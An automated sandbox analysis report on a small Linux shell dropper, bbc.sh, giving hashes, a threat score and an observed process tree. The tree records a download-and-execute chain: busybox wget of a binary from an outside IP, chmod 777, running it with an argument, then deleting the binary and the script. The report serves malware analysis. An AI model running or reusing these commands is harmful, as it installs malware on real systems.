Analysis
- max time kernel
5s - max time network
129s - platform
ubuntu-18.04_amd64 - resource
ubuntu1804-amd64-20260513-en - resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system - submitted
20/08/2026, 00:56
Static task
static1
Behavioral task
behavioral1
Sample
bbc.sh
Resource
ubuntu1804-amd64-20260513-en
1 signatures
150 seconds
Behavioral task
behavioral2
Sample
bbc.sh
Resource
debian9-armhf-20260513-en
1 signatures
150 seconds
Behavioral task
behavioral3
Sample
bbc.sh
Resource
debian9-mipsbe-20260513-en
2 signatures
150 seconds
Behavioral task
behavioral4
Sample
bbc.sh
Resource
debian9-mipsel-20260513-en
2 signatures
150 seconds
General
- Target bbc.sh
- Size 498B
- Sample260820-baltraxclf
- SHA256 e266c8d3b55220ad94d6c27da4758809bf0e8c359aeb63e6592a6de52a216c95
- MD5 ac51c9405fb30f330ee015600ff52391
- SHA1 75a1fd3445b5a4ac9188dbcc6893b1c71dd288f7
- SHA512 6c0e8e8f4d7481597618dbe429c5a4da34493a907406442a55e43f9bc70eacdbb16507a1eaf1848c76c51ffed184967115fbbcd1849f23f2174d3d487fb22961
- TLSH T19CF0A703B48BF032804039E4DB66F75AFC347D476262DE4CB8407A60DFD34347861244
- MD5 SHA1 SHA512 TLSH
Score
7/10
Malware Config
Signatures
- File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 1500 chmod
Processes
-
/tmp/bbc.sh/tmp/bbc.sh1⤵PID:1488
-
/bin/unameuname -m2⤵PID:1489
-
-
/bin/rmrm data_x86_642⤵PID:1490
-
-
/bin/busyboxbusybox wget http://31.58.171.194/data_x86_642⤵PID:1491
-
-
/bin/chmodchmod 777 data_x86_642⤵
- File and Directory Permissions Modification
PID:1500
-
-
/tmp/data_x86_64./data_x86_64 tbk2⤵PID:1501
-
-
/bin/rmrm data_x86_642⤵PID:1502
-
-
/bin/rmrm /tmp/bbc.sh2⤵PID:1503
-